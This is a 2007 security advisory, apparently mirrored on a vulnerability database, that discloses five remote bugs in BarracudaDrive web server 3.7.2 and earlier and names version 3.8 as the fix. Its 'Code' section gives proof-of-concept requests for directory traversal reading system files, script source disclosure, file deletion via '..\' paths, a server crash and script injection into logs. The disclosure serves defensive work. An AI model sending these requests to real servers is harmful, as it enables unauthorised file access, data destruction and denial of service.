BarracudaDrive <= 3.7.2 Multiple Remote Vulnerabilities

🗓️ 11 Dec 2007 00:00:00Reported by RootType
BarracudaDrive <= 3.7.2 Multiple Remote Vulnerabilities: Directory traversal, script visualization, arbitrary file deletion, NULL pointer crash, html injection. Remote exploitation. Luigi Auriemma. 10 Dec 2007

                                                #######################################################################

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Luigi&nbsp;Auriemma

Application:&nbsp;&nbsp;BarracudaDrive&nbsp;Web&nbsp;Server
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://barracudaserver.com/products/BarracudaDrive/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://barracudaserver.com/products/HomeServer/
Versions:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;=&nbsp;3.7.2
Platforms:&nbsp;&nbsp;&nbsp;&nbsp;Windows
Bugs:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A]&nbsp;directory&nbsp;traversal
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;B]&nbsp;scripts&nbsp;source&nbsp;visualization
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C]&nbsp;arbitrary&nbsp;files&nbsp;deleting&nbsp;by&nbsp;users
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;D]&nbsp;NULL&nbsp;pointer&nbsp;crash&nbsp;in&nbsp;chat.ehintf&nbsp;by&nbsp;users
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E]&nbsp;html&nbsp;injection&nbsp;in&nbsp;the&nbsp;trace&nbsp;viewer
Exploitation:&nbsp;remote
Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;10&nbsp;Dec&nbsp;2007
Author:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Luigi&nbsp;Auriemma
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e-mail:&nbsp;[email protected]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;web:&nbsp;&nbsp;&nbsp;&nbsp;aluigi.org


#######################################################################


1)&nbsp;Introduction
2)&nbsp;Bugs
3)&nbsp;The&nbsp;Code
4)&nbsp;Fix


#######################################################################

===============
1)&nbsp;Introduction
===============


Barracuda&nbsp;Drive&nbsp;is&nbsp;a&nbsp;commercial&nbsp;webserver&nbsp;developed&nbsp;by&nbsp;Real&nbsp;Time&nbsp;Logic
and&nbsp;contains&nbsp;many&nbsp;features.


#######################################################################

=======
2)&nbsp;Bugs
=======

----------------------
A]&nbsp;directory&nbsp;traversal
----------------------

A&nbsp;directory&nbsp;traversal&nbsp;vulnerability&nbsp;is&nbsp;exploitable&nbsp;through&nbsp;the&nbsp;usage&nbsp;of
a&nbsp;backslash&nbsp;or&nbsp;any&nbsp;other&nbsp;char&nbsp;major&nbsp;than&nbsp;0x7f&nbsp;at&nbsp;the&nbsp;beginning&nbsp;of&nbsp;the
URI.
The&nbsp;directories&nbsp;must&nbsp;be&nbsp;delimited&nbsp;by&nbsp;backslashes&nbsp;(and&nbsp;not&nbsp;slashes)&nbsp;for
exploiting&nbsp;the&nbsp;bug.


-------------------------------
B]&nbsp;scripts&nbsp;source&nbsp;visualization
-------------------------------

All&nbsp;the&nbsp;custom&nbsp;scripts&nbsp;in&nbsp;the&nbsp;server&nbsp;(like&nbsp;the&nbsp;LUA&nbsp;scripts&nbsp;with&nbsp;lsp
extension)&nbsp;can&nbsp;be&nbsp;visualized&nbsp;entirely&nbsp;instead&nbsp;of&nbsp;being&nbsp;executed&nbsp;simply
using&nbsp;a&nbsp;'+',&nbsp;a&nbsp;dot&nbsp;or&nbsp;any&nbsp;other&nbsp;char&nbsp;major&nbsp;than&nbsp;0x7f&nbsp;after&nbsp;the&nbsp;script's
name.


------------------------------------
C]&nbsp;arbitrary&nbsp;files&nbsp;deleting&nbsp;by&nbsp;users
------------------------------------

BarracudaDrive&nbsp;allows&nbsp;the&nbsp;admin&nbsp;to&nbsp;create&nbsp;users&nbsp;which&nbsp;can&nbsp;then&nbsp;access
their&nbsp;personal&nbsp;folders,&nbsp;chating&nbsp;between&nbsp;them&nbsp;and&nbsp;so&nbsp;on.
The&nbsp;problem&nbsp;here&nbsp;is&nbsp;that&nbsp;these&nbsp;authenticated&nbsp;users&nbsp;can&nbsp;delete&nbsp;files&nbsp;and
empty&nbsp;folders&nbsp;anywhere&nbsp;in&nbsp;the&nbsp;disk&nbsp;on&nbsp;which&nbsp;is&nbsp;located&nbsp;their&nbsp;personal
directory&nbsp;simply&nbsp;using&nbsp;the&nbsp;usual&nbsp;..\&nbsp;pattern.

Note&nbsp;that&nbsp;is&nbsp;also&nbsp;possible&nbsp;to&nbsp;create&nbsp;directories&nbsp;in&nbsp;the&nbsp;disk&nbsp;using&nbsp;the
same&nbsp;trick&nbsp;but&nbsp;this&nbsp;is&nbsp;not&nbsp;a&nbsp;real&nbsp;security&nbsp;problem.


---------------------------------------------
D]&nbsp;NULL&nbsp;pointer&nbsp;crash&nbsp;in&nbsp;chat.ehintf&nbsp;by&nbsp;users
---------------------------------------------

As&nbsp;already&nbsp;said&nbsp;the&nbsp;users&nbsp;can&nbsp;also&nbsp;chat&nbsp;between&nbsp;them&nbsp;using&nbsp;a&nbsp;simple
web&nbsp;interface&nbsp;called&nbsp;Group&nbsp;Chat.
In&nbsp;this&nbsp;case&nbsp;it's&nbsp;enough&nbsp;to&nbsp;avoid&nbsp;the&nbsp;passing&nbsp;of&nbsp;the&nbsp;Connection&nbsp;ID&nbsp;of
the&nbsp;user&nbsp;in&nbsp;the&nbsp;URI&nbsp;for&nbsp;crashing&nbsp;the&nbsp;entire&nbsp;server&nbsp;due&nbsp;to&nbsp;a&nbsp;NULL
pointer.


-------------------------------------
E]&nbsp;html&nbsp;injection&nbsp;in&nbsp;the&nbsp;trace&nbsp;viewer
-------------------------------------

BarracudaDrive&nbsp;logs&nbsp;any&nbsp;bad&nbsp;or&nbsp;wrong&nbsp;HTTP&nbsp;request&nbsp;received&nbsp;by&nbsp;the
clients&nbsp;and&nbsp;the&nbsp;Trace&nbsp;page&nbsp;in&nbsp;the&nbsp;admin&nbsp;interface&nbsp;can&nbsp;be&nbsp;used&nbsp;to
visualize&nbsp;these&nbsp;log&nbsp;files.
The&nbsp;problem&nbsp;is&nbsp;that&nbsp;they&nbsp;are&nbsp;visualized&nbsp;as&nbsp;HTML&nbsp;and&nbsp;there&nbsp;are&nbsp;no&nbsp;checks
or&nbsp;limitations&nbsp;on&nbsp;their&nbsp;content&nbsp;so&nbsp;a&nbsp;remote&nbsp;attacker&nbsp;can&nbsp;use&nbsp;this&nbsp;bug
for&nbsp;injecting&nbsp;scripts&nbsp;in&nbsp;these&nbsp;files,&nbsp;for&nbsp;example&nbsp;for&nbsp;retrieving&nbsp;the
cookie&nbsp;of&nbsp;the&nbsp;admin&nbsp;and&nbsp;gaining&nbsp;access&nbsp;to&nbsp;the&nbsp;server&nbsp;configuration.


#######################################################################

===========
3)&nbsp;The&nbsp;Code
===========


A]
http://SERVER/\..\..\..\boot.ini
http://SERVER/%80..\..\..\boot.ini
http://SERVER/%ff..\bdlicense.dat

B]
http://SERVER/lua.lsp+
http://SERVER/lua.lsp.
http://SERVER/lua.lsp%80

C]
POST&nbsp;/drive/c/bdusers/USER/?cmd=rm&nbsp;HTTP/1.1
Host:&nbsp;SERVER
Cookie:&nbsp;&quot;use&nbsp;the&nbsp;real&nbsp;user's&nbsp;cookie!&quot;
Content-Type:&nbsp;application/x-www-form-urlencoded
Content-Length:&nbsp;21

dir=..\..\..\file.txt

D]
POST&nbsp;/eh/chat.ehintf/C.&nbsp;HTTP/1.1
Host:&nbsp;SERVER
Content-Type:&nbsp;text/plain
Content-Length:&nbsp;0
Cookie:&nbsp;&quot;use&nbsp;the&nbsp;real&nbsp;user's&nbsp;cookie!&quot;

E]
GET&nbsp;&lt;script&gt;alert('hello');&lt;/script&gt;&nbsp;HTTP/1.0


#######################################################################

======
4)&nbsp;Fix
======


Version&nbsp;3.8


#######################################################################
11 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
BarracudaDrive &lt;= 3.7.2 Multiple Remote Vulnerabilities

BarracudaDrive <= 3.7.2 Multiple Remote Vulnerabilities
